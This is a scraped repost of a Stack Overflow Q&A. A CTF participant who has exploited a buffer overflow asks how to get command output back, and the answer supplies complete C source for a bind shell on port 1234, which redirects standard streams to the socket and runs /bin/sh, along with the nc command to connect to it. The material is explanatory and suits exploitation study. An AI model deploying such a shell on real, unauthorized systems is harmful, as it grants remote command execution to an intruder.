gpt4 book ai didi

assembly - 如何使用 bufferoverflow 远程执行程序并将输出写入套接字?

转载 作者:行者123 更新时间:2023-12-02 01:03:01 25 4
gpt4 key购买 nike

我正在进行 CTF 挑战,因此这不是出于任何恶意目的。我已经成功地使用缓冲区溢出来访问远程系统。然而,我的问题在于我需要在这个系统上执行一个命令,然后将该命令的输出发回给我。

如果它不是远程系统,这很容易完成,但考虑到它是,我现在的主要想法是使用 Netcat 将命令的输出通过管道传递给我。不过,我不知道如何完成这项任务,因为我不知道是否可以在字节码中做这样的事情,尤其是在我使用的缓冲区空间有限的情况下。

我能想到的另一种可能性是执行 netcat,然后执行打印到标准输出的命令 - 然而,我对 exec 的理解是它将当前程序替换为新程序。因此,如果我在执行 netcat 之后执行,那将关闭套接字并停止 netcat,对吗?

任何其他想法将不胜感激

最佳答案

我不会为您编写 shell 代码,而是提供 C 代码,您可以在端口上监听连接,然后一旦接受,您将 STDIN、STDOUT、STDERR 重定向到连接文件描述符。然后你可以启动 /bin/sh 。这应该允许您与远程端交互:

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>

int main()
{
struct sockaddr_in saddr;
int connectionfd = 0;
int socketfd = 0;

char *argv[] = { "/bin/sh", 0 };

bzero(&saddr, sizeof(saddr));
socketfd = socket(AF_INET, SOCK_STREAM, 0);
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
saddr.sin_port = htons(1234);

bind(socketfd, (struct sockaddr *)&saddr, sizeof(saddr));
listen(socketfd, 8);
connectionfd = accept(socketfd, (struct sockaddr *) NULL, NULL);
dup2(connectionfd, 0);
dup2(connectionfd, 1);
dup2(connectionfd, 2);
execve (argv[0], &argv[0], NULL);
}

根据你的问题,我怀疑你已经完成了大部分工作,你真正需要做的只是 dup2 STDIN、STDOUT、STDERR 和 execve(或类似的) .

要对此进行测试,请运行服务器代码,然后从同一系统运行:

nc localhost 1234

一旦 shell 运行,您可以发送如下命令:

/bin/ls

显示当前目录下的所有文件。如果没有设置路径环境变量,您必须提供要运行的程序的完整路径。当然你不需要运行 /bin/sh 你可以运行任何你有权限运行的程序。 /bin/sh 只是一个方便的测试选择。


注意:由于您可能不会从 shell 代码执行此操作,因此我在设计上放弃了所有错误检查。这是一个简单的演示。

关于assembly - 如何使用 bufferoverflow 远程执行程序并将输出写入套接字?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/49291017/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com